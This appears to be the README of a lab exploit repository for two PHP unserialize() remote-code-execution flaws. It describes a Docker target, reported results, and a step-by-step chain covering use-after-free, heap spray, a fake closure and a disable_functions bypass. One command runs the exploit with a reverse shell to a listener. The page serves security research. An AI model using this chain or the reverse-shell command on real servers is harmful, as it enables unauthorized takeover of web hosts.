Karim BOUDRA @ ULTRADEFENSE LAB · October 21, 2026 · lab use only
Watch on Youtube : https://www.youtube.com/watch?v=NlJ_C07NL00
Two RCEs in PHP's unserialize() core (C: Serializable and E: enum-autoload branches in var_unserializer.re), reproduced on the day the patch was released: local root with disable_functions bypassed, and a remote www-data shell in ~2,200 requests over both HTTP and TLS, for both CVEs.
LAB/— vulnerable Docker target with bridge networkingDockerfile— PHP 8.5.11 Apache, two entry points, TLS, and checkerdocker-compose.yml— bridge network, ports 8486 (HTTP) and 8483 (HTTPS)run.sh—up | status | down | cleanremote_app.php—C:entry point (Serializable)remote_app_enum.php—E:entry point (enum autoload)check.php— safe detector for both branches and sink scanner
POC/POC-demo.mp4— full videoPOC-preview.gif— animated previewREADME.md— documentationindex.html— repository page
| Tool | Purpose | Tested with |
|---|---|---|
| Python >= 3.8 | remote exploits php8_remote*.py |
3.14.5 (macOS arm64) |
| PHP CLI >= 7.4 | pocket PoC pocket_poc.php |
8.5.11 (NTS) |
| Docker + Compose | target lab LAB/ |
29.6.2 / v5.1.4 |
python3 --version # >= 3.8 required
php --version # CLI, for the pocket PoC
docker compose version # for LAB/run.shcd LAB
./run.sh up # build + bridge container, listening on all interfaces
# local: http://127.0.0.1:8486 LAN: http://iplan:8486# pocket detection (any PHP server)
python3 POCKETPOC-PHP2SHELL.py --url http://172.20.10.5:8486/remote_app.php --reverse 172.20.10.5:4444| Chain | Requests | Result |
|---|---|---|
| C: HTTP | 2,169 | www-data RCE |
| C: HTTPS | 2,169 | www-data RCE |
| E: HTTP | 2,281 | www-data RCE |
| E: HTTPS | 2,175 | www-data RCE |
| C: / E: local | - | root, disable_functions bypassed |
unserialize($data)->x = 0;gadget (C:entry point) or enum autoload (E:entry point)a:41:{...}payload: entry point + stdClass with 8 properties + 32 sprays +R:4..11- resize from 8 to 16:
efree()releases arData; slots 4..11 point into it (UAF) - reclaim: the 280-byte sprays reclaim the freed bin-320
- heap leak: write-through via
R:Nof azend_referencepointer uaf_read(addr, n): fakeIS_STRINGpositioned at an arbitrary address- fake closure:
ce,handlers,func.handler = zif_system(resolved in the module's static function table, thereby bypassingdisable_functions) - dispatch:
$result[33]("id")locally;serialize()+ fake vtable invokingsystem()remotely
The bug is exploitable only when the target application passes attacker-controlled
data to unserialize(). Testing a third party requires written authorization and
crash-DoS rules of engagement. This repository is a lab: expose it only on controlled
networks, and shut it down with ./run.sh down after use.
Research credits: Calif (MAD Bugs, public C: PoC), Nicolas Grekas (GH-23981,
E: branch).
PoC author: Karim BOUDRA @ ULTRADEFENSE LAB.
Greetings: CYBERSEC TEAM
This project is provided strictly for educational purposes and authorized security research. You are solely responsible for how you use it. The author assumes no liability for misuse, damage, or illegal activity. Use it only on systems you own or have explicit permission to test.
